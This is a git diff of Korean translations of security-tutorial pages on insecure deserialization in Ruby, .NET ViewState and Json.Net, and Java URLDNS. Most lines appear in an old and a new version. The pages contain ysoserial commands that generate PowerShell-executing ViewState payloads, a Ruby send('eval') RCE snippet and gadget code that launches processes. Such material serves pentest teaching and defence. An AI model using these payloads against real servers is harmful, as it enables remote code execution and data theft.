직렬화된 객체를 보호하기 위해 **루비는 HMAC (Hash-Based Message Authentication Code)**를 사용하여 데이터의 무결성과 진위를 보장합니다. 이 위해 사용되는 키는 여러 가능한 위치 중 하나에 저장됩니다:
- `config/environment.rb`
- `config/initializers/secret_token.rb`
@ -815,18 +815,18 @@ require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)
```
다른 RCE 체인으로 Ruby On Rails를 이용한 공격: [https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/](https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/)
다른 RCE 체인으로 Ruby On Rails를 이용하는 방법: [https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/](https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/)
### Ruby .send() 메서드
[**이 취약점 보고서**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/)에서 설명된 바와 같이, 일부 사용자로부터 비위생적인 입력이 ruby 객체의 `.send()` 메서드에 도달하면, 이 메서드는 객체의 **다른 메서드를 호출**할 수 있게 해줍니다.
[**이 취약점 보고서**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/)에서 설명된 바와 같이, 일부 사용자로부터 비정제된 입력이 ruby 객체의 `.send()` 메서드에 도달하면, 이 메서드는 객체의 **다른 메서드를 호출**할 수 있게 해줍니다.
예를 들어, eval을 호출하고 두 번째 매개변수로 ruby 코드를 전달하면 임의의 코드를 실행할 수 있습니다:
```ruby
<Object>.send('eval', '<user input with Ruby code>') == RCE
```
또한, **`.send()`**의 매개변수 중 하나만 공격자에 의해 제어된다면, 이전 글에서 언급한 바와 같이 **인수가 필요 없는** 객체의 모든 메서드나 **기본값이 있는** 인수를 가진 메서드를 호출할 수 있습니다.\
이를 위해, 해당 요구 사항을 충족하는 **흥미로운 메서드**를 찾기 위해 객체의 모든 메서드를 열거할 수 있습니다.
또한, **`.send()`**의 매개변수 중 하나만 공격자에 의해 제어된다면, 이전 글에서 언급한 바와 같이, **인수가 필요 없는** 객체의 모든 메서드나 **기본값**이 있는 인수를 가진 메서드를 호출할 수 있습니다.\
이를 위해, **그 요구 사항을 충족하는 흥미로운 메서드를 찾기 위해** 객체의 모든 메서드를 열거할 수 있습니다.
```ruby
<Object>.send('<user_input>')
@ -854,7 +854,7 @@ candidate_methods.length() # Final number of methods=> 3595
### Ruby _json 오염
해시 가능하지 않은 배열과 같은 값을 본문에 보내면 `_json`이라는 새로운 키에 추가됩니다. 그러나 공격자는 본문에 자신이 원하는 임의의 값으로 `_json`이라는 값을 설정할 수도 있습니다. 그런 다음, 예를 들어 백엔드가 매개변수의 진위를 확인하지만 `_json` 매개변수를 사용하여 어떤 작업을 수행하는 경우, 권한 우회를 수행할 수 있습니다.
해시 가능하지 않은 배열과 같은 값을 본문에 보내면 `_json`이라는 새로운 키에 추가됩니다. 그러나 공격자는 본문에 임의의 값을 가진 `_json`이라는 값을 설정할 수도 있습니다. 그런 다음, 예를 들어 백엔드가 매개변수의 진위를 확인하지만 `_json` 매개변수를 사용하여 어떤 작업을 수행하면 권한 우회가 발생할 수 있습니다.
[Ruby _json 오염 페이지에서 더 많은 정보를 확인하세요](ruby-_json-pollution.md).
@ -864,7 +864,7 @@ candidate_methods.length() # Final number of methods=> 3595
객체를 직렬화하는 데 사용할 수 있는 다른 Ruby 라이브러리가 있으며, 따라서 불안전한 역직렬화 중에 RCE를 얻기 위해 악용될 수 있습니다. 다음 표는 이러한 라이브러리 중 일부와 역직렬화될 때 로드된 라이브러리에서 호출되는 메서드를 보여줍니다(기본적으로 RCE를 얻기 위해 악용할 함수):
<table data-header-hidden><thead><tr><th width="179"></th><th width="146"></th><th></th></tr></thead><tbody><tr><td><strong>라이브러리</strong></td><td><strong>입력 데이터</strong></td><td><strong>클래스 내에서 시작하는 메서드</strong></td></tr><tr><td>Marshal (Ruby)</td><td>Binary</td><td><code>_load</code></td></tr><tr><td>Oj</td><td>JSON</td><td><code>hash</code> (클래스는 해시(맵)의 키로 넣어야 함)</td></tr><tr><td>Ox</td><td>XML</td><td><code>hash</code> (클래스는 해시(맵)의 키로 넣어야 함)</td></tr><tr><td>Psych (Ruby)</td><td>YAML</td><td><code>hash</code> (클래스는 해시(맵)의 키로 넣어야 함)<br><code>init_with</code></td></tr><tr><td>JSON (Ruby)</td><td>JSON</td><td><code>json_create</code> ([하단의 json_create에 대한 노트 참조](#table-vulnerable-sinks))</td></tr></tbody></table>
<table data-header-hidden><thead><tr><th width="179"></th><th width="146"></th><th></th></tr></thead><tbody><tr><td><strong>라이브러리</strong></td><td><strong>입력 데이터</strong></td><td><strong>클래스 내에서 시작하는 메서드</strong></td></tr><tr><td>Marshal (Ruby)</td><td>Binary</td><td><code>_load</code></td></tr><tr><td>Oj</td><td>JSON</td><td><code>hash</code> (클래스는 해시(맵)의 키로 넣어야 함)</td></tr><tr><td>Ox</td><td>XML</td><td><code>hash</code> (클래스는 해시(맵)의 키로 넣어야 함)</td></tr><tr><td>Psych (Ruby)</td><td>YAML</td><td><code>hash</code> (클래스는 해시(맵)의 키로 넣어야 함)<br><code>init_with</code></td></tr><tr><td>JSON (Ruby)</td><td>JSON</td><td><code>json_create</code> ([json_create에 대한 주석은 끝에서 확인하세요](#table-vulnerable-sinks))</td></tr></tbody></table>
기본 예:
```ruby

View File

@ -7,32 +7,32 @@
## ObjectDataProvider Gadget
문서에서: _ObjectDataProvider 클래스는 바인딩 소스로 사용할 수 있는 객체를 래핑하고 생성합니다._\
네, 이상한 설명이니, 이 클래스가 왜 그렇게 흥미로운지 살펴보겠습니다: 이 클래스는 **임의의 객체를 래핑**하고, _**MethodParameters**_를 사용하여 **임의의 매개변수를 설정**한 다음, **MethodName을 사용하여 임의의 객체의 임의의 함수를 호출**할 수 있게 해줍니다.\
따라서 임의의 **객체**는 **역직렬화되는 동안 매개변수와 함께 **함수를 실행**합니다.**
네, 이상한 설명이니, 이 클래스가 왜 그렇게 흥미로운지 살펴보겠습니다: 이 클래스는 **임의의 객체를 래핑**하고, _**MethodParameters**_를 사용하여 **임의의 매개변수를 설정**한 다음, **MethodName을 사용하여 임의의 함수**를 호출할 수 있게 해줍니다.\
따라서 임의의 **객체**는 **역직렬화되는 동안 매개변수와 함께** **함수를 실행**하게 됩니다.
### **이것이 어떻게 가능한가**
**System.Windows.Data** 네임스페이스는 `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF`에 있는 **PresentationFramework.dll** 내에서 정의되고 구현됩니다.
[**dnSpy**](https://github.com/0xd4d/dnSpy)를 사용하면 관심 있는 클래스의 **코드를 검사**할 수 있습니다. 아래 이미지에서 우리는 **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name**의 코드를 보고 있습니다.
[**dnSpy**](https://github.com/0xd4d/dnSpy)를 사용하면 우리가 관심 있는 클래스의 **코드를 검사**할 수 있습니다. 아래 이미지에서 **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name**의 코드를 보고 있습니다.
![](<../../images/image (427).png>)
`MethodName`이 설정되면 `base.Refresh()`가 호출되는 것을 관찰할 수 있습니다. 그것이 무엇을 하는지 살펴보겠습니다:
`MethodName`이 설정되면 `base.Refresh()`가 호출되는 것을 볼 수 있습니다. 이게 무엇을 하는지 살펴보겠습니다:
![](<../../images/image (319).png>)
좋습니다, `this.BeginQuery()`가 무엇을 하는지 계속 살펴보겠습니다. `BeginQuery``ObjectDataProvider`에 의해 재정의되며, 이것이 수행하는 작업은 다음과 같습니다:
좋습니다, 이제 `this.BeginQuery()`가 무엇을 하는지 계속 살펴보겠습니다. `BeginQuery``ObjectDataProvider`에 의해 재정의되며, 이것이 수행하는 작업은 다음과 같습니다:
![](<../../images/image (345).png>)
코드 끝부분에서 `this.QueryWorke(null)`를 호출하고 있다는 점에 유의하세요. 것이 무엇을 실행하는지 살펴보겠습니다:
코드 끝부분에서 `this.QueryWorke(null)`를 호출하고 있다는 점에 유의하세요. 것이 무엇을 실행하는지 살펴보겠습니다:
![](<../../images/image (596).png>)
이것은 `QueryWorker` 함수의 전체 코드는 아니지만, 흥미로운 부분을 보여줍니다: 코드 **`this.InvokeMethodOnInstance(out ex);`를 호출합니다.** 이것이 **메서드 세트가 호출되는** 라인입니다.
이것은 `QueryWorker` 함수의 전체 코드는 아니지만, 흥미로운 부분을 보여줍니다: 코드 **`this.InvokeMethodOnInstance(out ex);`를 호출합니다.** 이것이 **메서드 집합이 호출되는** 라인입니다.
단순히 _**MethodName**_\*\*을 설정하는 것만으로도 실행될 것임을 확인하고 싶다면, 이 코드를 실행할 수 있습니다:
단순히 _**MethodName**_을 설정하는 것만으로도 **실행될 것**임을 확인하고 싶다면, 이 코드를 실행할 수 있습니다:
```java
using System.Windows.Data;
using System.Diagnostics;
@ -52,14 +52,14 @@ myODP.MethodName = "Start";
}
}
```
_C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_를 참조로 추가해야 `System.Windows.Data`를 로드할 수 있습니다.
다음과 같이 참조를 추가해야 합니다: _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ 추가해야 `System.Windows.Data`를 로드할 수 있습니다.
## ExpandedWrapper
이전의 익스플로잇을 사용하면 **객체**가 _**ObjectDataProvider**_ 인스턴스로 **역직렬화될** 경우가 있습니다(예: DotNetNuke 취약점에서 XmlSerializer를 사용하여 객체가 `GetType`을 사용하여 역직렬화됨). 그러면 _ObjectDataProvider_ 인스턴스에 래핑된 객체 유형에 대한 **정보가 없습니다**(예: `Process`). DotNetNuke 취약점에 대한 더 많은 [정보는 여기에서 확인할 수 있습니다](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1).
이전의 익스플로잇을 사용하면 **객체**가 _**ObjectDataProvider**_ 인스턴스로 **역직렬화될** 경우가 있습니다 (예: DotNetNuke 취약점에서 XmlSerializer를 사용하여 객체가 `GetType`을 사용하여 역직렬화됨). 그러면 _ObjectDataProvider_ 인스턴스에 래핑된 객체 유형에 대한 **정보가 없습니다** (예: `Process`). DotNetNuke 취약점에 대한 더 많은 [정보는 여기에서 확인할 수 있습니다](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1).
이 클래스는 주어진 인스턴스에 캡슐화된 객체의 **객체 유형을 지정할 수 있도록** 합니다. 따라서 이 클래스는 소스 객체(_ObjectDataProvider_)를 새로운 객체 유형으로 캡슐화하고 필요한 속성(_ObjectDataProvider.MethodName_ 및 _ObjectDataProvider.MethodParameters_)을 제공하는 데 사용할 수 있습니다.\
이는 앞서 제시된 경우와 같이 매우 유용합니다. 왜냐하면 우리는 **\_ObjectDataProvider**_\*\*를 \*\*_**ExpandedWrapper** \_ 인스턴스 안에 **래핑**할 수 있고, **역직렬화될** 이 클래스는 _**OjectDataProvider**_ 객체를 **생성**하여 _**MethodName**_에 지정된 **함수**를 **실행**할 것입니다.
이 클래스는 주어진 인스턴스에 캡슐화된 객체의 **객체 유형을 지정할 수 있도록** 합니다. 따라서 이 클래스는 소스 객체 (_ObjectDataProvider_)를 새로운 객체 유형으로 캡슐화하고 우리가 필요한 속성 (_ObjectDataProvider.MethodName_ 및 _ObjectDataProvider.MethodParameters_)을 제공하는 데 사용할 수 있습니다.\
이는 앞서 제시된 경우와 같이 매우 유용합니다. 왜냐하면 우리는 **\_ObjectDataProvider**_\*\*를 \*\*_**ExpandedWrapper** \_ 인스턴스 안에 **래핑**할 수 있고 **역직렬화될** 이 클래스는 _**OjectDataProvider**_ 객체를 **생성**하여 _**MethodName**_에 지정된 **함수**를 **실행**할 것입니다.
다음 코드를 사용하여 이 래퍼를 확인할 수 있습니다:
```java
@ -85,11 +85,11 @@ myExpWrap.ProjectedProperty0.MethodName = "Start";
```
## Json.Net
[공식 웹 페이지](https://www.newtonsoft.com/json)에서는 이 라이브러리가 **Json.NET의 강력한 JSON 직렬 변환기를 사용하여 모든 .NET 객체를 직렬화 및 역직렬화할 수 있도록 한다**고 명시되어 있습니다. 따라서 **ObjectDataProvider 가젯을 역직렬화**할 수 있다면, 객체를 역직렬화하는 것만으로 **RCE**를 유발할 수 있습니다.
[공식 웹 페이지](https://www.newtonsoft.com/json)에서는 이 라이브러리가 **Json.NET의 강력한 JSON 직렬 변환기를 사용하여 모든 .NET 객체를 직렬화 및 역직렬화할 수 있도록 한다**고 명시되어 있습니다. 따라서 **ObjectDataProvider 가젯을 역직렬화**할 수 있다면, 객체를 역직렬화하는 것만으로 **RCE**를 유발할 수 있습니다.
### Json.Net 예제
우선 이 라이브러리를 사용하여 객체를 **직렬화/역직렬화**하는 방법에 대한 예제를 살펴보겠습니다:
먼저 이 라이브러리를 사용하여 객체를 **직렬화/역직렬화**하는 방법에 대한 예제를 살펴보겠습니다:
```java
using System;
using Newtonsoft.Json;

View File

@ -4,7 +4,7 @@
# Serializable
Java `Serializable` 인터페이스(`java.io.Serializable`는 클래스가 **직렬화** 및 **역직렬화**되기 위해 구현해야 하는 마커 인터페이스입니다. Java 객체 직렬화(쓰기)는 [ObjectOutputStream](http://tutorials.jenkov.com/java-io/objectoutputstream.html)으로 수행되며, 역직렬화(읽기)는 [ObjectInputStream](http://tutorials.jenkov.com/java-io/objectinputstream.html)으로 수행됩니다.
Java `Serializable` 인터페이스(`java.io.Serializable`는 클래스가 **직렬화** 및 **역직렬화**되려면 구현해야 하는 마커 인터페이스입니다. Java 객체 직렬화(쓰기)는 [ObjectOutputStream](http://tutorials.jenkov.com/java-io/objectoutputstream.html)으로 수행되며, 역직렬화(읽기)는 [ObjectInputStream](http://tutorials.jenkov.com/java-io/objectinputstream.html)으로 수행됩니다.
**직렬화 가능한** **Person 클래스**의 예를 살펴보겠습니다. 이 클래스는 **readObject** 함수를 **재정의**하므로, 이 **클래스**의 **어떤 객체**가 **역직렬화**될 때 이 **함수**가 **실행**됩니다.\
예제에서 Person 클래스의 **readObject 함수**는 그의 애완동물의 `eat()` 함수를 호출하고, Dog의 `eat()` 함수는 (어떤 이유로) **calc.exe**를 호출합니다. **이 계산기를 실행하기 위해 Person 객체를 직렬화하고 역직렬화하는 방법을 살펴보겠습니다:**

View File

@ -4,7 +4,7 @@
## What is ViewState
**ViewState**는 ASP.NET에서 웹 페이지 간에 페이지 및 컨트롤 데이터를 유지하는 기본 메커니즘으로 작용합니다. 페이지의 HTML이 렌더링되는 동안, 페이지의 현재 상태와 포스트백 중에 보존할 값들이 base64로 인코딩된 문자열로 직렬화됩니다. 이러한 문자열은 숨겨진 ViewState 필드에 배치됩니다.
**ViewState**는 ASP.NET에서 웹 페이지 간에 페이지 및 컨트롤 데이터를 유지하는 기본 메커니즘 역할을 합니다. 페이지의 HTML이 렌더링되는 동안, 페이지의 현재 상태와 포스트백 중에 보존할 값들이 base64로 인코딩된 문자열로 직렬화됩니다. 이러한 문자열은 숨겨진 ViewState 필드에 배치됩니다.
ViewState 정보는 다음 속성 또는 그 조합으로 특징지을 수 있습니다:
@ -17,12 +17,12 @@ ViewState 정보는 다음 속성 또는 그 조합으로 특징지을 수 있
## Test Cases
이미지는 .NET 프레임워크 버전에 따라 ASP.NET에서 ViewState의 다양한 구성에 대한 표입니다. 내용 요약은 다음과 같습니다:
이미지는 .NET 프레임워크 버전에 따라 ASP.NET에서 ViewState의 다양한 구성에 대한 세부 정보를 담고 있는 표입니다. 내용 요약은 다음과 같습니다:
1. **모든 .NET 버전**에 대해, MAC과 Encryption이 모두 비활성화되면 MachineKey가 필요하지 않으며, 따라서 이를 식별할 수 있는 방법이 없습니다.
2. **4.5 미만 버전**의 경우, MAC이 활성화되었지만 Encryption이 비활성화된 경우 MachineKey가 필요합니다. MachineKey를 식별하는 방법은 "Blacklist3r"로 언급됩니다.
3. **4.5 미만 버전**의 경우, MAC이 활성화되었든 비활성화되었든 관계없이 Encryption이 활성화되면 MachineKey가 필요합니다. MachineKey를 식별하는 것은 "Blacklist3r - Future Development"의 작업입니다.
4. **4.5 이상 버전**의 경우, MAC과 Encryption의 모든 조합(둘 다 true이거나 하나는 true이고 다른 하나는 false인 경우)은 MachineKey가 필요합니다. MachineKey는 "Blacklist3r"를 사용하여 식별할 수 있습니다.
1. **모든 .NET 버전**에 대해, MAC과 암호화가 모두 비활성화된 경우, MachineKey가 필요하지 않으며, 따라서 이를 식별할 수 있는 방법이 없습니다.
2. **4.5 미만 버전**의 경우, MAC이 활성화되었지만 암호화가 비활성화된 경우, MachineKey가 필요합니다. MachineKey를 식별하는 방법은 "Blacklist3r"로 언급됩니다.
3. **4.5 미만 버전**의 경우, MAC이 활성화되었든 비활성화되었든 관계없이, 암호화가 활성화된 경우 MachineKey가 필요합니다. MachineKey를 식별하는 것은 "Blacklist3r - Future Development"의 작업입니다.
4. **4.5 이상 버전**의 경우, MAC과 암호화의 모든 조합(둘 다 true이거나 하나는 true이고 다른 하나는 false인 경우)은 MachineKey를 필요로 합니다. MachineKey는 "Blacklist3r"를 사용하여 식별할 수 있습니다.
### Test Case: 1 EnableViewStateMac=false and viewStateEncryptionMode=false
@ -39,8 +39,8 @@ ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "power
### Test case 1.5 Test case 1과 같지만 ViewState 쿠키가 서버에 의해 전송되지 않음
개발자는 **ViewState**가 HTTP 요청의 일부가 되지 않도록 할 수 있습니다 (사용자는 이 쿠키를 받지 않음).\
**ViewState**가 **존재하지 않으면** 그들의 구현이 **ViewState 역직렬화로 인한 잠재적 취약점**으로부터 **안전하다**고 가정할 수 있습니다.\
하지만 그렇지 않습니다. 요청 본문에 **ViewState 매개변수**를 추가하고 ysoserial을 사용하여 생성한 직렬화된 페이로드를 전송하면 여전히 **코드 실행**을 달성할 수 있습니다, **Case 1**에서 보여준 것처럼.
**ViewState**가 **존재하지 않으면** 그들의 구현이 **ViewState 역직렬화로 인한 잠재적 취약점으로부터 안전하다**고 가정할 수 있습니다.\
하지만 그렇지 않습니다. 요청 본문에 **ViewState 매개변수**를 추가하고 ysoserial을 사용하여 생성한 직렬화된 페이로드를 전송하면 여전히 **코드 실행**을 달성할 수 있습니다. 이는 **Case 1**에서 보여줍니다.
### Test Case: 2 .Net < 4.5 EnableViewStateMac=true & ViewStateEncryptionMode=false
@ -68,7 +68,7 @@ AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0M
--encrypteddata : __VIEWSTATE parameter value of the target application
--modifier : __VIWESTATEGENERATOR parameter value
```
[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets)는 알려진 machineKeys를 식별할 수 있는 또 다른 도구입니다. Python으로 작성되었기 때문에 Blacklist3r와 달리 Windows 의존성이 없습니다. .NET viewstates의 경우 "python blacklist3r" 유틸리티가 있으며, 이는 사용하기 가장 빠른 방법입니다.
[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets)는 알려진 machineKeys를 식별할 수 있는 또 다른 도구입니다. Python으로 작성되었기 때문에 Blacklist3r와 달리 Windows 의존성이 없습니다. .NET viewstate의 경우, "python blacklist3r" 유틸리티가 있으며, 이는 사용하기 가장 빠른 방법입니다.
viewstate와 generator를 직접 제공할 수 있습니다:
```
@ -106,17 +106,17 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Inv
```
### Test Case: 3 .Net < 4.5 EnableViewStateMac=true/false ViewStateEncryptionMode=true
이 경우 매개변수가 MAC으로 보호되는지 여부는 알려져 있지 않습니다. 따라서 값은 아마도 암호화되어 있으며 **취약점을 악용하기 위해 페이로드를 암호화할 Machine Key가 필요합니다.**
이 경우 매개변수가 MAC으로 보호되는지 여부는 알려져 있지 않습니다. 따라서 값은 아마도 암호화되어 있으며 **취약점을 악용하기 위해 페이로드를 암호화할 Machine Key가 필요합니다**.
**이 경우** [**Blacklist3r**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) **모듈이 개발 중입니다...**
**.NET 4.5 이전에**, ASP.NET은 **`ViewStateEncryptionMode`**가 _**항상**_으로 설정되어 있더라도 사용자로부터 **암호화되지 않은** \_`__VIEWSTATE`\_ 매개변수를 **수용할 수 있습니다**. ASP.NET은 **요청에서** **`__VIEWSTATEENCRYPTED`** 매개변수의 **존재**만 **확인합니다**. **이 매개변수를 제거하고 암호화되지 않은 페이로드를 전송하면 여전히 처리됩니다.**
**.NET 4.5 이전에**, ASP.NET은 **`ViewStateEncryptionMode`**가 _**항상**_으로 설정되어 있더라도 사용자로부터 **암호화되지 않은** \_`__VIEWSTATE`\_ 매개변수를 **받을 수 있습니다**. ASP.NET은 요청에서 **`__VIEWSTATEENCRYPTED`** 매개변수의 **존재**만 **확인합니다**. **이 매개변수를 제거하고 암호화되지 않은 페이로드를 전송하면 여전히 처리됩니다.**
따라서 공격자가 파일 탐색과 같은 다른 취약점을 통해 Machinekey를 얻는 방법을 찾으면, **Case 2**에서 사용된 [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) 명령을 사용하여 ViewState 역직렬화 취약점을 이용한 RCE를 수행할 수 있습니다.
- ViewState 역직렬화 취약점을 악용하기 위해 요청에서 `__VIEWSTATEENCRYPTED` 매개변수를 제거하십시오. 그렇지 않으면 Viewstate MAC 검증 오류가 반환되고 악용이 실패합니다.
### Test Case: 4 .Net >= 4.5 및 EnableViewStateMac=true/false 및 ViewStateEncryptionMode=true/false 단, 두 속성이 모두 false인 경우
### Test Case: 4 .Net >= 4.5 및 EnableViewStateMac=true/false 및 ViewStateEncryptionMode=true/false 두 속성이 모두 false인 경우
아래와 같이 web.config 파일 내에 아래 매개변수를 지정하여 ASP.NET 프레임워크의 사용을 강제할 수 있습니다.
```xml
@ -153,16 +153,16 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe In
![](https://notsosecure.com/sites/all/assets/group/nss_uploads/2019/06/4.2.png)
ViewState 역직렬화 취약점을 성공적으로 악용하면 공격자가 제어하는 서버로의 아웃 오브 밴드 요청이 발생하며, 여기에는 사용자 이름이 포함됩니다. 이러한 종류의 익스플로잇은 "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET"이라는 제목의 리소스를 통해 찾을 수 있는 개념 증명(PoC)에서 시연됩니다. 익스플로잇 과정이 어떻게 작동하는지와 MachineKey를 식별하기 위해 Blacklist3r와 같은 도구를 활용하는 방법에 대한 자세한 내용은 제공된 [PoC of Successful Exploitation](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC)을 검토할 수 있습니다.
ViewState 역직렬화 취약점을 성공적으로 악용하면 공격자가 제어하는 서버로 사용자 이름을 포함한 비동기 요청이 전송됩니다. 이러한 종류의 익스플로잇은 "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET"이라는 제목의 리소스를 통해 찾을 수 있는 개념 증명(PoC)에서 시연됩니다. 익스플로잇 과정이 어떻게 작동하는지와 MachineKey를 식별하기 위해 Blacklist3r와 같은 도구를 활용하는 방법에 대한 자세한 내용은 제공된 [PoC of Successful Exploitation](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC)을 검토할 수 있습니다.
### Test Case 6 ViewStateUserKeys가 사용되고 있음
**ViewStateUserKey** 속성은 **CSRF 공격**에 대해 **방어**하는 데 사용할 수 있습니다. 애플리케이션에서 이러한 키가 정의되어 있고 지금까지 논의된 방법으로 **ViewState** 페이로드를 생성하려고 하면, **페이로드는 애플리케이션에 의해 처리되지 않습니다**.\
**ViewStateUserKey** 속성은 **CSRF 공격**에 대해 **방어**하는 데 사용할 수 있습니다. 애플리케이션에러한 키가 정의되어 있고 지금까지 논의된 방법으로 **ViewState** 페이로드를 생성하려고 하면, **페이로드는 애플리케이션에 의해 처리되지 않습니다**.\
페이로드를 올바르게 생성하기 위해 추가 매개변수를 하나 더 사용해야 합니다:
```bash
--viewstateuserkey="randomstringdefinedintheserver"
```
### 성공적인 취약점 이용 결과 <a href="#poc" id="poc"></a>
### 성공적인 취약점 이용 결과 <a href="#poc" id="poc"></a>
모든 테스트 케이스에서 ViewState YSoSerial.Net 페이로드가 **성공적으로** 작동하면 서버는 “**500 Internal server error**”와 함께 응답 내용 “**이 페이지에 대한 상태 정보가 유효하지 않거나 손상되었을 수 있습니다**”를 반환하며 OOB 요청을 받습니다.

View File

@ -8,10 +8,10 @@
```java
public final class URL implements java.io.Serializable {
```
이 클래스는 **호기심 많은 동작**을 가지고 있습니다. 문서에서: “**두 호스트는 두 호스트 이름이 동일한 IP 주소로 해석될 수 있는 경우 동등한 것으로 간주됩니다**.”\
그런 다음, URL 객체가 **`equals`** 또는 **`hashCode`**의 **어떤** 함수를 호출할 때마다 **IP 주소**를 얻기 위한 **DNS 요청**이 **전송**됩니다.
이 클래스는 **호기심 많은 동작**을 가지고 있습니다. 문서에서: “**두 호스트는 두 호스트 이름이 동일한 IP 주소로 확인될 수 있는 경우 동등한 것으로 간주됩니다**.”\
따라서, URL 객체가 **`equals`** 또는 **`hashCode`**의 **어떤** 함수를 호출할 때마다 **IP 주소**를 얻기 위한 **DNS 요청**이 **전송**됩니다.
**URL** 객체에서 **`hashCode`** 함수를 **호출하는** 것은 상당히 쉽습니다. 이 객체를 역직렬화될 `HashMap`에 삽입하기만 하면 됩니다. 이는 `HashMap`**`readObject`** 함수의 **끝**에서 이 코드가 실행되기 때문입니다:
**URL** 객체에서 **`hashCode`** 함수를 **호출하는** 것은 상당히 쉽습니다. 이 객체를 **역직렬화**될 `HashMap`에 삽입하기만 하면 됩니다. 이는 `HashMap`의 **`readObject`** 함수의 **끝**에서 이 코드가 실행되기 때문입니다:
```java
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
@ -21,14 +21,14 @@ for (int i = 0; i < mappings; i++) {
putVal(hash(key), key, value, false, false);
}
```
모든 값에 대해 `HashMap` 내부의 `putVal`**실행**할 **것입니다**. 그러나 더 중요한 것은 모든 값에 대`hash` 호출입니다. 이것은 `hash` 함수의 코드입니다:
모든 값에 대해 `HashMap` 내부의 `putVal`**실행**할 **것입니다**. 그러나 더 중요한 것은 모든 값에 대`hash`를 호출하는 것입니다. 이것은 `hash` 함수의 코드입니다:
```java
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
```
관찰할 수 있듯이, **역직렬화할 때** **`HashMap`**의 함수 `hash`**모든 객체와 함께 실행**되며 **`hash`** 실행 중에 **객체의 `.hashCode()`가 실행**됩니다. 따라서 **URL** 객체를 포함하는 **`HashMap`**을 **역직렬화**하면 **URL 객체**가 **`.hashCode()`를 실행**합니다.
관찰할 수 있듯이, **역직렬화할 때** **`HashMap`**의 함수 `hash`**모든 객체에 대해 실행됩니다** 그리고 **`hash`** 실행 중에 **객체의 `.hashCode()`가 실행됩니다**. 따라서 **URL** 객체를 포함하는 **`HashMap`**을 **역직렬화**하면, **URL 객체**는 **`.hashCode()`를 실행합니다**.
이제 `URLObject.hashCode()`의 코드를 살펴보겠습니다:
```java
@ -53,9 +53,9 @@ h += protocol.hashCode();
InetAddress addr = getHostAddress(u);
[ ... ]
```
`getHostAddress`가 도메인에 대해 실행되어 **DNS 쿼리**가 시작되는 것을 볼 수 있습니다.
`getHostAddress`가 도메인에 대해 실행되어 **DNS 쿼리**가 **시작**되는 것을 볼 수 있습니다.
따라서 이 클래스는 **역직렬화**가 가능하다는 것을 **증명하기 위해** 또는 **정보를 유출하기 위해** **DNS 쿼리**를 **실행하기 위해** **악용**될 수 있습니다(명령 실행의 출력을 서브도메인으로 추가할 수 있습니다).
따라서 이 클래스는 **역직렬화**가 가능하다는 것을 **증명**하기 위해 **DNS 쿼리**를 **시작**하거나, 심지어 **정보를 유출**하기 위해 **악용**될 수 있습니다(명령 실행의 출력을 서브도메인으로 추가할 수 있습니다).
### URLDNS 페이로드 코드 예제
@ -135,7 +135,7 @@ return null;
### 작동 방식
**GadgetProbe**는 이전 섹션의 **DNS 페이로드**를 사용하지만 **DNS 쿼리를 실행하기 전에** **임의의 클래스를 역직렬화하려고** 시도합니다. **임의의 클래스가 존재하면**, **DNS 쿼리**가 **전송**되고 GadgetProbe는 이 클래스가 존재함을 기록합니다. **DNS** 요청이 **결코 전송되지 않으면**, 이는 **임의의 클래스가 성공적으로 역직렬화되지 않았음을** 의미하므로, 클래스가 존재하지 않거나 **직렬화할 수 없거나/악용할 수 없음을** 나타냅니다.
**GadgetProbe**는 이전 섹션의 **DNS 페이로드**를 사용하지만 **DNS 쿼리를 실행하기 전에** **임의의 클래스를 역직렬화**하려고 시도합니다. **임의의 클래스가 존재하면**, **DNS 쿼리**가 **전송**되고 GadgetProbe는 이 클래스가 존재함을 기록합니다. **DNS** 요청이 **결코 전송되지 않으면**, 이는 **임의의 클래스가 성공적으로 역직렬화되지 않았음을** 의미하므로, 클래스가 존재하지 않거나 **직렬화할 수 없거나/악용할 수 없음을** 나타냅니다.
GitHub 내에서, [**GadgetProbe에는 테스트할 Java 클래스가 포함된 단어 목록이 있습니다**](https://github.com/BishopFox/GadgetProbe/tree/master/wordlists).
@ -148,11 +148,11 @@ GitHub 내에서, [**GadgetProbe에는 테스트할 Java 클래스가 포함된
## Java 역직렬화 스캐너
이 스캐너는 Burp App Store (**Extender**)에서 **다운로드**할 수 있습니다.\
**확장**은 **수동****능동** **기능**을 가지고 있습니다.
**확장**은 **수동****능동** **기능**을 가지고 있습니다.
### 수동
기본적으로 모든 요청과 응답을 **수동으로 확인**하여 **Java 직렬화 마법 바이트**를 찾고, 발견된 경우 취약성 경고를 표시합니다:
